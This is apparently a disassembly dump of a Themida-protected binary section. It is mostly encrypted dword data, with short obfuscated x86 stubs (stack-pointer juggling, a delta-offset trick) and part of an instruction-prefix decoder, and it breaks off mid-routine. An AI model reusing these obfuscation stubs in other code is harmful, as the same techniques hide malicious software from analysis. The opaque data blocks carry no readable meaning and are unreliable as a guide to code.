dd 0C72DCBA5h, 0EC000001h, 75F1C86Ch, 37F56F0h, 8D09E082h
dd 1C986F07h, 1F28FF95h, 6D038AC4h, 0F9971A96h, 8424A622h
dd 11AD31ADh, 783E953Ah, 6327D592h, 31A029AEh, 0C13D14AAh
dd 4DCAA13Dh, 7635B011h, 22648BB0h, 0EE3CA563h, 22645E48h
dd 84CFC963h, 371780D5h, 0EC16C4h, 311D0000h, 37C311ADh
dd 26CC1AB0h, 5B42680Bh, 4FD4FB7Fh, 2DA980B5h, 0D7BD83A9h
dd 0F35B4266h, 920E1ABDh, 3A6FC108h, 2044A638h, 0D409EF72h
dd 0CE4FFB86h, 35F6DCA2h, 0A10A5B43h, 201D1E6Ch, 35F4F1D0h
dd 71BE9C8Ah, 0ABDF60F8h, 4C1364AEh, 94FD6323h, 139642BDh
dd 493F25EBh, 0F25B6323h, 716E6FBDh, 8645A021h, 60240C0h
dd 20DF486Bh, 0C1C9AF75h, 7CE55B44h, 5324D37Ah, 0EEEB688Ah
dd 0E76814BFh, 0F9F6F745h, 0D5AC42C9h, 2BB1D259h, 0D6545E93h
dd 0E572A3BEh, 0D46D0Bh, 5FDF0000h, 0E368E4BBh, 75F67249h
dd 0FA80FCD3h, 880F8B62h, 0D1121BF2h, 8960F67Dh, 15EC8A0Dh
dd 0A0771799h, 2D04A024h, 856B3188h, 996327D6h, 86328B14h
dd 3B6B6800h, 715F1EB4h, 12E31BEh, 72B9B6DBh, 0FFD672F6h
dd 0C1DA9684h, 0C4FE714h, 8732DE0Fh, 4262DBC1h, 8986EF5Bh
dd 0EB39D559h, 31B4DB5Fh, 84444593h, 593065FFh, 22E104BDh
dd 27C9775Ch, 0D2208963h, 149BC246h, 0DE8A497Eh, 7DC4C157h
dd 35D35602h, 0E8840838h, 0E2630F9Ah, 469432B5h, 0C9131045h
dd 0BDC4CE42h, 0CFDFA63Ch, 5CD8AF4Bh, 62EE3CD8h, 0E99F77DCh
dd 36AE945Ah, 59C2B8BBh, 81317C57h, 884EFE4Ch, 94C0AE3Dh
dd 694312CEh, 0FF83B3B0h, 8C108C63h, 304A2F0h, 7F000000h
dd 0B131B502h, 0AF33BF0Dh, 0B739C513h, 0BA3DC917h, 0BB42CE1Ch
dd 0C44BD725h, 0CE54E02Eh, 0DB5CE836h, 0DA5FEB39h, 5263F240h
dd 0C281E289h, 4, 4B850h, 0C2290000h, 24148758h, 0E389535Ch
dd 4C381h, 0EB810000h, 4, 5C241C87h, 68243C89h, 73Fh, 56240489h
dd 36534CBEh, 13AABF31h, 0F701D6AFh, 8124348Bh, 4C4h, 4EC8300h
dd 83242489h, 58042404h, 24048157h, 3AB454CDh, 5308408Fh
dd 0B454CDBBh, 858293Ah, 24048B5Bh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov edi, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_560FFB
; ---------------------------------------------------------------------------
dw 0EA54h
dd 0E1AE2A24h, 913C1EC7h, 0E574A7B8h, 0FFC50307h, 0C13DEAE0h
dd 946DDA13h, 7B179051h, 282CC516h, 8B86EE7Ch, 25E2A166h
dd 39E29E75h, 0B0E902h, 66600000h, 0C2F6DA8Ch, 0C850F04h
dd 3B000000h, 0E02F0185h, 36840F07h, 3B000000h, 0E0308585h
dd 2A840F07h, 3B000000h, 0E01B7185h, 1E840F07h, 3B000000h
dd 0E0181D85h, 12840F07h, 83000000h, 0E031F9BDh, 840F0107h
dd 5, 5FE9h, 3D08B00h, 0BA8B3C52h, 88h, 85784A8Bh, 49840FC9h
dd 81000000h, 0F8C2h, 0C728B00h, 598BC803h, 14518B1Ch
dd 0B8BD803h, 840FC985h, 10h, 820FCE3Bh, 17h, 830FCF3Bh
dd 0Fh, 4A04C383h, 0FFDC850Fh, 0DE9FFFFh, 8D000000h, 0E04EE89Dh
dd 5B807h, 0E3FF0000h, 0D00BC361h, 1FB19D8Dh, 2AB807E0h
dd 89000000h, 0E0236185h, 0E807h, 5580000h, 0Dh, 2AE90389h
dd 0
dd 9 dup(77E600h), 0FF77E600h, 698D8DFFh, 6A07E577h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 5799C357h, 60F78052h, 559D8Bh, 0F6007E0h, 0DE81DEB7h
dd 43993E43h, 8D896161h, 7E01815h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 17h, 0D6C35343h, 663391D3h, 0C76C02BAh
dd 0E0204985h, 665C07h, 10DE8100h, 0E943F1ABh, 9, 75CBBF19h
dd 0BE464968h, 0C585C7AFh, 7E022h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
dd 0B149C353h, 355203Dh, 0CD8277EEh, 5BA5B8B8h, 0A1B5FF1Bh
dd 8907E007h, 0E0231185h, 619D0307h, 0FF07E01Bh, 0E0209195h
dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h
dd 0C3514100h, 0C889EB88h, 9335F770h, 6A07C6h, 18A995FFh
dd 0C08B07E0h, 92831BEBh, 43CEE89Bh, 7591BDB6h, 88BF6076h
dd 0CD90123Fh, 0C6B65A61h, 8A720C0Ch, 8E8D8D37h, 8B07E578h
dd 0E0185D9Dh, 13E907h, 0C45D0000h, 15A1A795h, 24BA5261h
dd 130A2F7Ah, 8FF8031Fh, 158D89C5h, 6A07E018h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
dd 2923C351h, 0E0254DBDh, 0C7F28B07h, 0E0204985h, 5E8407h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h
dd 0C3514100h, 0EF35AB9Bh, 441CD7A5h, 0BF0F7FB8h, 0C585C7F2h
dd 7E022h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 0AFB9C353h, 0EC74D5C0h, 8175FDC3h
dd 0B76ED6C7h, 13E95Eh, 7C9C0000h, 3A125976h, 0A2DFE6B6h
dd 0F2378D19h, 317A2EA2h, 35B5FF5Fh, 6607E02Ah, 95FFC38Bh
dd 7E02091h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 16h, 37C35747h, 0BF0F28BDh, 6AD88BD7h, 0A995FF00h, 8B07E018h
dd 217EEBC0h, 4902519Bh, 46E0FE98h, 17D67957h, 972DBC61h
dd 0DB24612Fh, 2414E392h, 0C427192Ch, 41A37C97h, 22778E1Ch
dd 0B5E42932h, 8CD79534h, 3B86C719h, 1D4FBDBh, 46DC1F06h
dd 0A98E76ABh, 0F55F4DD9h, 5E95A5A5h, 0CE812A59h, 71BCE59Ah
dd 0B5DD5EF1h, 5AFEB2B3h, 0F5209Dh, 76976E21h, 0D1CA97D2h
dd 49CECE0Dh, 14020A3Ch, 0ABE67AC5h, 99C95256h, 62DDCD54h
dd 6B0EE677h, 5A723CD1h, 14E8D9h, 0E3860000h, 20CC7768h
dd 1C870E0Ah, 0DD1830D4h, 518213DFh, 9531264Bh, 7E030DDh
dd 28B0F5Eh, 0B1000000h, 0A8C681ADh, 0F00006Ch, 0FBBBCAB7h
dd 2300001Ah, 0E0161185h, 5036FF07h, 5F5AF4B6h, 14E957h
dd 26B40000h, 0AB32E420h, 0FC85E22h, 43EF03E4h, 88D67061h
dd 815A369Ch, 57C056EFh, 2BB96643h, 0BEEF81B6h, 0E8600DC5h
dd 0Fh, 361D6B6Ah, 0F61C8D0h, 59915907h, 0F9B7D2Bh, 8158D3B7h
dd 878C3FC7h, 7CB45006h, 0BD895758h, 7E012F9h, 800F068Fh
dd 6, 1E959D01h, 0EE8307E0h, 0DBD8904h, 8107E024h, 1EBh
dd 82850F00h, 0E9FFFFFFh, 6, 0B8EB4987h, 60EB414Ch, 18h dup(0)
dd 0B51E9h, 0B45E900h, 5680000h, 0E907E582h, 0FFFB068Fh
dd 0E5832E68h, 685E907h, 0BC68FFFBh, 0E907E583h, 0FFFB067Bh
dd 0CFE9A38Bh, 445E16FDh, 0BBD58D72h, 2E4800E9h, 0A6C07A5Ch
dd 0D1B36851h, 472BFD17h, 0BEA1738Dh, 341AEC06h, 9580607Ah
dd 0D5273F72h, 0EEC53721h, 73783214h, 2B54767Ch, 25888D47h
dd 0A9AF694Bh, 54674B71h, 2511FD7Fh, 0D9F39E65h, 62672107h
dd 0B2C98164h, 0D3615073h, 0CA1D29B9h, 957977C4h, 8C37EFD4h
dd 0EDA78987h, 0C2AB85E8h, 80E050Ah, 6D722C0Eh, 2C88DE0Ah
dd 0C6714AA2h, 787E29E1h, 0D8DD957Eh, 263DF5DAh, 0B98887FAh
dd 553A4276h, 9FECF29Dh, 0EB02BAA1h, 6B2889ACh, 0FB4E29BAh
dd 0A8AE6649h, 1E1D035Bh, 269CC807h, 7650586Ch, 0F609A8CBh
dd 227529B9h, 0BB2E7177h, 332E5F2Ch, 8EFC9E0h, 50A3650h
dd 0CF1C95B8h, 0F6221D4h, 0EB0E4D64h, 21D4CEC6h, 0CAF004B0h
dd 57A834EEh, 2447A6ACh, 21D58091h, 0FDB79BF5h, 0BDFC3B52h
dd 0D581179Ah, 110C5F21h, 21D580A0h, 307D83D6h, 7B924C32h
dd 8C41F24Fh, 23292CDEh, 452BC7C1h, 0ECC6B18Bh, 534A4F07h
dd 0C39D004Dh, 0FA1C22DAh, 14EE4DD1h, 0ECC6C9C3h, 12354C06h
dd 29BAA09Fh, 787E84D7h, 5734DE5Ah, 1C75h, 4DD1BF00h, 0A3C614EEh
dd 29BAA10Eh, 0C63B1568h, 8C442BC4h, 0FBA2E8B2h, 16h, 0EE4DD191h
dd 0EA3C614h, 7329BAA1h, 0C4C6320Ch, 0B28C442Bh, 4FD1A2E8h
dd 1AFFD9F0h, 0DAFD5C62h, 2E5AA37Ch, 3FA2A7FAh, 0BEC47C65h
dd 0DA9C327Bh, 55AA0B21h, 0D4EFCBF7h, 1B0E453h, 0D12E0000h
dd 0B3D6ED4Ch, 29BAA106h, 2A282D80h, 0B6FB1E44h, 0C029BAA0h
dd 0AEA8C26Dh, 4D6487C6h, 2929BAA1h, 2F34ECCFh, 8D878D38h
dd 47FFE6A7h, 0B2D8C29Ch, 4D6487C6h, 2929BAA1h, 967CD0D6h
dd 8CC3BF99h, 0FD14CEB2h, 0BAA0D7DAh, 464C9F29h, 0DEF31F24h
dd 3C1C5734h, 66000000h, 14EE4DD1h, 0A10EA3C6h, 156829BAh
dd 40F6D2FEh, 798D2678h, 2228E0C7h, 0AD87C600h, 0E90B11CBh
dd 0B28C442Bh, 4D05ECC6h, 0EFC2E548h, 8729BAA0h, 46838934h
dd 29FB00h, 0D1910000h, 0C614EE4Dh, 0BAA10EA3h, 23057329h
dd 0BB6D6469h, 1F161BD5h, 0C4C69A74h, 0B28C442Bh, 0AA309AC6h
dd 2620A35Ah, 0D19DE320h, 4A04E64Ch, 8CA34E45h, 0D12CCB2h
dd 75251216h, 2E1B9947h, 0F7A6C928h, 3F29BA3Bh, 0FBABC313h
dd 505635D1h, 76D9DE31h, 0F9FEB89Ch, 1C02FC02h, 0D3B8795Bh
dd 741F161Bh, 0C6B5AFC9h, 0A14D6487h, 0D62929BAh, 0CAF0D6D0h
dd 0BAA10AA7h, 76217429h, 0B6F4205Fh, 0F45478E6h, 64E1D0CBh
dd 4A9D29BAh, 0F3F9B198h, 6487C6D1h, 29BAA14Dh, 0D9B06A4Eh
dd 0D338086h, 14EE4DD1h, 0F31FC9C3h, 1C5734DEh, 2Bh, 3ECC666h
dd 2DF1454Bh, 87C6340Eh, 0A08C2548h, 9FF229BAh, 0A15B5699h
dd 0D02329BAh, 2BC4C6F6h, 0E8B28C44h, 3EFBA2h, 0D1910000h
dd 525F824Dh, 2C29BAA1h, 3D172ED9h, 0FDB79958h, 0D3CE4E52h
dd 2919F678h, 0ECC60123h, 50474C06h, 0E9C8EB4Ah, 5529BAA0h
dd 0D5DB957Bh, 0C6805AC1h, 11CBAD87h, 442BE90Bh, 0A2E8B28Ch
dd 0E7FBh, 4CD19100h, 0BD97D6EDh, 896B1DD7h, 0CDD3CACFh
dd 0BAA12F8Ah, 462D0729h, 0E092898Eh, 494045FDh, 0CCD12443h
dd 0AA072A69h, 0D429BAA0h, 9B817B81h, 5190C7E1h, 0BAA0832Eh
dd 0A2A8FB29h, 6487C680h, 29BAA14Dh, 0D6D0D629h, 0D85C36F0h
dd 7ECC6B2h, 0AB6348h, 0B478A6FAh, 526914CEh, 0EBBDC126h
dd 50563431h, 0B28CC32Eh, 191015CDh, 0F31FF113h, 1C5734DEh
dd 46h, 0EE4DD166h, 0EA3C614h, 2829BAA1h, 9CB36B4Eh, 0BAA13879h
dd 0E5EB3E29h, 0CDE407C6h, 0A929BAA0h, 0C6D1AB56h, 8C442BC4h
dd 3965E8B2h, 2B1AAD30h, 8C0A721h, 5B610C03h, 3ECC639h
dd 494F464Bh, 2B1Fh, 4DD1B500h, 0A3C614EEh, 29BAA10Eh
dd 0C6320C73h, 494F07ECh, 9AC6E8EAh, 2F2C5802h, 5A545ACEh
dd 788C6273h, 0A8CBE5BEh, 0A2E823FDh, 868B452Bh, 0D3EDA588h
dd 5C611B01h, 7C3BCDF9h, 792B2E33h, 897F3073h, 0D2429BAh
dd 0F57566E1h, 0B9F3DFD2h, 40449729h, 0F2F82DA1h, 0F0D6207Dh
dd 644A1C36h, 3961B3Eh, 8DE029BAh, 9567DDE2h, 5598C4A3h
dd 0F215732Eh, 9AF76C72h, 96B06A50h, 0A082A66Ah, 2D8D058Dh
dd 59040793h, 0E27497AEh, 642E59A6h, 666B230Ah, 0EE72D416h
dd 15C0615Dh, 8F1E656Ah, 0AE21D9AEh, 6C9AF04Dh, 8753D418h
dd 22h, 1FD7BA94h, 0FB1D231Ah, 868B452Bh, 0BAA1723Fh, 0B70C3929h
dd 0ABC57F65h, 2FF04874h, 7619635Eh, 452B4E70h, 7348748Bh
dd 0F58BDD79h, 3879F8FCh, 6DBC7A57h, 5EC21A67h, 0D6A7CAE1h
dd 602E5EE6h, 33B51DB4h, 1CC78DD0h, 0ED4AD602h, 20A3B3D6h
dd 0A6E52675h, 0B51B2E83h, 0BEE4829h, 0AC574E53h, 2F3487A6h
dd 0B51AC5E8h, 0BA177829h, 316C2664h, 355154h, 0C69B0000h
dd 464B03ECh, 28F5494Fh, 3B20FA11h, 9C807E83h, 0D23137E2h
dd 0BAA0F2AFh, 6E522C29h, 3C8FAEB4h, 0A7664B25h, 611902C3h
dd 0FBA655Ch, 2AF3F5h, 0D1890000h, 0FCD6ED4Ch, 61585D15h
dd 0E3BDFC5Bh, 0FE414701h, 29BAA09Fh, 1CD4BD97h, 0FB1A2017h
dd 785291A8h, 0D8D2D892h, 27213BF3h, 149FBh, 4BD19100h
dd 66A9D5ECh, 0C887D8C6h, 0D8F2141Ah, 4887C6B2h, 0BAA08C25h
dd 0A49FF229h, 29BAA10Dh, 0A0AB0629h, 80D329BAh, 565056A9h
dd 0C3DCB670h, 0DEF31FC9h, 2C1C5734h, 66000000h, 12EC4BD1h
dd 0A10EA3C6h, 0A96829BAh, 0BAA12B86h, 71945329h, 29BAA140h
dd 8D38E336h, 2BC4C6B3h, 0E8B48E46h, 1DFBA2h, 0D1910000h
dd 0C612EC4Bh, 0BAA10EA3h, 0F50C7329h, 757A321Bh, 0C656787Eh
dd 8E462BC4h, 0C6A2E8B4h, 464B03ECh, 694F494Fh, 2205C6A8h
dd 0C36E656Ah, 0B2D83E18h, 8954DD1h, 898A4229h, 714B620Dh
dd 0ACCED48Ch, 0F31FC9C3h, 415734DEh, 0FCDBF215h, 42487FC1h
dd 2CBEh, 4DD10800h, 9AC614EEh, 0A12CF002h, 83E2E87Ah
dd 0B9E35160h, 29812D29h, 0E8AA1160h, 0C6A8822Dh, 8C442BC4h
dd 0FBA2E8B2h, 47h, 779AC691h, 0E5A9A9F3h, 9C5638EAh, 469AA097h
dd 6A445BD8h, 0CEC5CA84h, 4C1D94B7h, 65929BAh, 87C6DE00h
dd 12677C5Bh, 82B6E0Ch, 29B9EEA9h, 25D782D5h, 3B7E843Ch
dd 29B9EE76h, 0C6CAA40Bh, 8C442BC4h, 2BA2E8B2h, 448B9048h
dd 29BAA16Ah, 0FB1E5DFCh, 29BAA0B6h, 0F2676DC0h, 0B0684B9Dh
dd 482B9C96h, 2E4D7990h, 1D7658BBh, 1AD2B769h, 0CB181E15h
dd 2D32EACDh, 426692C5h, 52C3ECB9h, 76CB4046h, 6F894124h
dd 0B9E81A54h, 9FCA8829h, 0DD54342Fh, 5E631D03h, 0BFC47E60h
dd 0E3061DC8h, 29B9CFCEh, 0CB4F55A8h, 0FFFFFE6Eh, 621CFED8h
dd 3E60665Dh, 4D6487C6h, 2929BAA1h, 208DD0D6h, 1629BAA1h
dd 0CBA5E1EAh, 0B5BB5BCCh, 0BA95BB72h, 193C7B29h, 29BA9498h
dd 95367B9Eh, 0ED4029BAh, 7ABDC316h, 29BA9536h, 0BA948D20h
dd 0EDCFA929h, 0C3EA2D33h, 7329BA94h, 0F3F8B099h, 0AD654AFCh
dd 954964A7h, 28F8E9BAh, 0F1D1F40Bh, 676E5852h, 69B70F14h
dd 0B0E99E71h, 47F293AFh, 23690D30h, 459F6678h, 0A9A0A55Fh
dd 0C6D25FEh, 210AA634h, 2E8F3h, 8E483000h, 3BBA274h, 7A3217E9h
dd 0EDA58E60h, 651F01D3h, 58CDF64Bh, 0D0A2BC76h, 461832ECh
dd 0BF91AB63h, 25051FD9h, 1E9A173Ah, 72E421D5h, 0AD87C6D8h
dd 9D140FC9h, 0D929BAA0h, 0A0868086h, 8789E1E6h, 2B6E91A8h
dd 232E5FDBh, 129BB6D0h, 2F21D527h, 82B42E1h, 267A5DDDh
dd 0D5AFC619h, 0BEFC9EFh, 9E5B5651h, 0D02329BAh, 0D47F371Eh
dd 4802E8BAh, 0B66E5731h, 991C63B0h, 0A829BA9Dh, 65A4BB78h
dd 9DAE0326h, 75C829BAh, 0D7552C6Fh, 8EE12E5Fh, 0FDB79D77h
dd 6A2B11E3h, 191EC981h, 0C9E05FC1h, 7A61D7A6h, 61451F26h
dd 92E1984Eh, 0AB50722h, 5896B505h, 3A4D57B0h, 176A898Fh
dd 8056BA12h, 9E82AE06h, 11E1E0E4h, 13364DF8h, 2E5FD0D6h
dd 5812F6D0h, 0FA550353h, 29E8FE79h, 9A59787Eh, 5079385Bh
dd 0B20521D5h, 0D550FAB7h, 7F318421h, 0E4DBE098h, 62482239h
dd 0D6BC8EA8h, 0DDD0171Ch, 6421D56Ah, 45687FBCh, 267A9154h
dd 7AD2D72Ah, 5F829996h, 2E5A8FA7h, 0D3754EA1h, 64EE11F5h
dd 1BF4D7Bh, 71590000h, 0E4CB9DB7h, 5B40122Ch, 0CEB789A3h
dd 482AFC16h, 0B61F748Eh, 0CBE59F81h, 415B15F9h, 0BAD48C6Fh
dd 2E4802E8h, 7140634Eh, 0D21D51Eh, 4FD1019Bh, 779AD9F0h
dd 29BAA13Ah, 8CEBF144h, 0C6EB0E4Dh, 0B029BAA0h, 3E3D595Dh
dd 2E2EAD4Dh, 4CB4E528h, 378A2E5Fh, 0F936DA32h, 0AC47BFE2h
dd 0C2012674h, 4BD02196h, 262137B6h, 29B5278Bh, 282190B3h
dd 0A5D29B5h, 82A98733h, 7562F2A5h, 52A5C4CAh, 3796DD79h
dd 5B8972E6h, 131h, 2B45FFE7h, 0A0BA7259h, 1731E9CEh, 8AA45C45h
dd 21CD6B8h, 2D0F04ADh, 0A3875973h, 1AFDCFE9h, 90764862h
dd 0F1DCBCD6h, 0D51DE3CEh, 8F299B21h, 0D9F04FD1h, 79385B9Ah
dd 529BAA0h, 11366959h, 0DC87F21Ch, 90EE93D6h, 0FC282E5Fh
dd 1B23B20Dh, 77969C1Bh, 0F3D84BCBh, 994471D3h, 0F6B09694h
dd 917BB3DFh, 345B0AC3h, 60AB29Fh, 0EEF424B1h, 1AD4BA8Ch
dd 0D453BD15h, 1C3F7EBDh, 21D57395h, 0EAA287E1h, 3D43EEE5h
dd 7AAAEBFAh, 0FE186B26h, 738D452Ch, 7598BCA1h, 29BA4D3Ch
dd 2A44EF42h, 995EC7F3h, 303BC08h, 621A03FDh, 0D28A714Bh
dd 9CBFD6CDh, 29B9AB15h, 0A6080E61h, 0F5AF956Fh, 0F9F3F9F0h
dd 71435D17h, 33EBCE8Fh, 0B89C6E88h, 2F12E4FEh, 0FE216077h
dd 29B9AAB3h, 3E6178CBh, 29B9AB73h, 50B2B80Bh, 0C7DE987Eh
dd 0AEA4809Bh, 8086BD13h, 0AE684C1Eh, 1DD7BD97h, 8789B517h
dd 2F5291A8h, 29BA1A82h, 44A3A9FCh, 5F51C421h, 5E8422Eh
dd 9F51484Dh, 4FB00B8h, 70565459h, 0A9A9CB6h, 30000000h
dd 6D4F2924h, 0B1B7AEB3h, 89432B8Fh, 0E6A08684h, 4800E3E1h
dd 0A7614543h, 8C2A4A2h, 69230503h, 0C57D6664h, 25DDC2C0h
dd 833B2220h, 89506D7Eh, 405E0h, 0E8830000h, 24048704h
db 8Bh, 2 dup(24h)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
push 1F34h
mov [esp], ecx
push 7E57A60h
mov eax, [esp]
add esp, 4
push esp
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], eax
pop dword ptr [ecx+8]
push dword ptr [esp]
pop ecx
add esp, 4
mov eax, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_554887
; ---------------------------------------------------------------------------
db 94h, 0CFh, 0C6h
dd 0B82FBC9Bh, 7E58512h, 0C38BC503h, 86A28D8Dh, 6A07E5h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 8BBA1EC3h, 0E03171BDh, 35BD8907h, 8907E001h, 0E018158Dh
dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h
dd 0C3504000h, 89A5D951h, 0E01BE1BDh, 15890F07h, 0E8000000h
dd 9, 0A818F5C8h, 13CEB84Dh, 850F43h, 5B000000h, 204985C7h
dd 5C4007E0h, 0FE90000h, 4C000000h, 2F31EA0Bh, 0F39DBFDBh
dd 8C7609F3h, 85C70AEEh, 7E022C5h, 0
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 65C35040h
dd 0C01EC377h, 0E975522Ah, 0CE8h, 0C8B3F00h, 0E177E323h
dd 0F0D1576Eh, 0CA816628h, 0FF5E751Bh, 0E012ADB5h, 5E907h
dd 0D06E0000h, 0FFA2BB90h, 0E0209195h, 51006A07h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 6AB1F909h, 0A995FF00h, 8B07E018h, 161CEBC0h, 0C1A7F5F1h
dd 36972EC9h, 235347AAh, 0F567F158h, 0EDC9EEBDh, 88A98F8Ch
dd 0E99C3179h, 191h, 0C2B70F60h, 782EC781h, 8D61624Fh
dd 0E5878FB5h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1C04h, 0C3554500h, 84824C63h, 768758E9h
dd 13E942h, 0DB9E0000h, 0D98F3C3Ch, 0D7905C7Bh, 8065A1h
dd 9AA63082h, 0A0858D4Dh, 0E907E357h, 5, 0D0A1282Eh, 0FD0FFCDh
dd 1185h, 0CE900h, 19BF0000h, 6591CD40h, 2E28B5B0h, 12E91AC0h
dd 9000000h, 52C444A8h, 83E7481Fh, 0FEC8D7B1h, 71AF990h
dd 6AC3FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
dd 52420000h, 7A9CECC3h, 0FC3EE77h, 118Eh, 0CE900h, 327B0000h
dd 9978FFE8h, 524743D5h, 66F8A550h, 6AD98Ch, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0A13BD4C3h
dd 0E998F0E1h, 14h, 147FCBD9h, 97F7C220h, 674033D9h, 4EAD6BDAh
dd 0E7B94EFFh, 0F04C1F6h, 3984h, 0FB8BFC00h, 0C032CB8Bh
dd 2BFD75AEh, 2BD9F7CFh, 49D78BF9h, 0EBD98Bh, 13F20CDh
dd 0C00B0001h, 708D1874h, 8BFA8B0Ch, 0A75A6CBh, 0B8FA7549h
dd 1, 8B09EBh, 0B8E4EBh, 0CF000000h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 17h, 0C8C35343h, 0FCAA49B4h, 52CE8B60h
dd 59D7C980h, 0FE96061h, 5C000000h, 5FA19171h, 2D5FF539h
dd 56ACCA08h, 0D681F31Dh, 5C92A348h, 0EE85C761h, 3F07E587h
dd 0E8000101h, 12h, 1E419516h, 8B205336h, 83A2994Fh, 1BE59302h
dd 0F6097A7h, 1483h, 0FE900h, 0AF3B0000h, 885A1B72h, 9E8979F0h
dd 3CAA5D1Ch, 8166607Dh, 8B7FA8C7h, 5B6161CEh, 6444C381h
dd 0F38B0000h, 2964A9B9h, 0D7E9815Ch, 0F5C294Bh, 1B80h
dd 13E85100h, 0AE000000h, 0D404E12Dh, 95FDA398h, 2DC8BCE6h
dd 0BB8DD50Bh, 5F5E7889h, 840F138Bh, 1, 0D8C281F5h, 0F7D3369h
dd 880h, 0CE815300h, 20DD70FEh, 2FF28158h, 0E84A31EEh
dd 10h, 88696636h, 0A436C9B9h, 81D5DE1h, 87BA075Ah, 38DCE9B8h
dd 0EA815E7Eh, 0F3B9EF8h, 0F1389FCh, 0EB83F2B7h, 850F4904h
dd 11h, 0FDBA9BB8h, 36E95Dh, 0A7B20000h, 0CB1E7C84h, 0AE81Ah
dd 0B6CE0000h, 0DA8EE952h, 6167CBCh, 0DBB4F081h, 0E95E78ABh
dd 0FFFFFF80h, 0F838E924h, 1DB2E0EAh, 63486B77h, 0AA1FA414h
dd 6DBAD566h, 1C8E9h, 8 dup(41888800h), 4 dup(0)
dd 880000h, 91C400h, 11111100h, 11111111h, 8899C911h, 88888888h
dd 88h, 60000h, 444400h, 4100h, 11111100h, 44444411h, 88029944h
dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h
dd 0
dd 88h, 888888h, 80000000h, 88888800h, 888h, 8888800h
dd 88888808h, 88h, 0
dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h
dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h
dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h
dd 89h, 88888000h, 88888880h, 88888888h, 88888880h, 88888088h
dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h, 0
dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0)
dd 500h, 14h dup(0)
dd 76F9E900h, 75758Bh, 100h, 11h dup(0)
dd 353E900h, 0E8550000h, 0
aBa@lxEnkx db ']í@‹å',7,'`Ç…Šå',7,0
align 4
dd 81660000h, 0FA1663Eh, 0F85h, 9185C700h, 607E58Ah, 0E9000000h
dd 24h, 8A95858Dh, 8D5007E5h, 0E58AE585h, 6A565007h, 1DE800h
dd 0C4830000h, 0FF2510h, 85890000h, 7E58A91h, 91B50361h
dd 8B07E58Ah
db 85h
byte_5A5345 db 8Dh, 8Ah, 0E5h ; DATA XREF: ___:00444AB8o
; ___:00444D5Co
db 7, 5Dh, 0C3h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and byte ptr [ebp-5], 0
and byte ptr [ebp-6], 0
xor dl, dl
and [ebp-1], dl
cmp dword ptr [ebp+8], 0
jz loc_5A5378
mov byte ptr [ebp-4], 2
mov byte ptr [ebp-3], 0FEh
mov byte ptr [ebp-2], 1
jmp loc_5A5384
; ---------------------------------------------------------------------------
loc_5A5378: ; CODE XREF: Themida_:005A5361j
and byte ptr [ebp-3], 0
and byte ptr [ebp-2], 0
mov byte ptr [ebp-4], 4
loc_5A5384: ; CODE XREF: Themida_:005A5373j
push ebx
push esi
push edi
loc_5A5387: ; CODE XREF: Themida_:005A53DCj
; Themida_:005A53F8j ...
mov edi, [ebp+0Ch]
mov esi, [ebp+10h]
movzx ecx, dl
inc dl
mov al, [edi+ecx]
mov [esi+ecx], al
xor cl, cl
loc_5A539A: ; CODE XREF: Themida_:005A53C1j
movzx ebx, cl
push ebp
call $+5
pop ebp
sub ebp, 7E58BF7h
lea ebp, [ebp+7E58A6Dh]
add ebp, ebx
cmp [ebp+0], al
pop ebp
jz loc_5A53C7
inc cl
cmp cl, 0Bh
jb loc_5A539A
loc_5A53C7: ; CODE XREF: Themida_:005A53B6j
cmp cl, 0Bh
jz loc_5A5424
cmp al, 66h
jnz loc_5A5405
cmp byte ptr [ebp-5], 0
jnz loc_5A5387
cmp byte ptr [ebp-3], 0
mov byte ptr [ebp-5], 1
jnz loc_5A53FD
mov byte ptr [ebp-4], 2
mov byte ptr [ebp-3], 0FEh
jmp loc_5A5387
; ---------------------------------------------------------------------------
loc_5A53FD: ; CODE XREF: Themida_:005A53EAj
and byte ptr [ebp-3], 0
mov byte ptr [ebp-4], 4
loc_5A5405: ; CODE XREF: Themida_:005A53D2j
cmp al, 67h
jnz loc_5A5387
cmp byte ptr [ebp-6], 0
jnz loc_5A5387
xor byte ptr [ebp-2], 1
mov byte ptr [ebp-6], 1
jmp loc_5A5387
; ---------------------------------------------------------------------------
loc_5A5424: ; CODE XREF: Themida_:005A53CAj
mov ebx, [ebp+14h]
mov cl, dl
dec cl
cmp al, 0Fh
mov [ebx], cl
jnz loc_5A5450
movzx ecx, dl
inc dl
mov al, [edi+ecx]
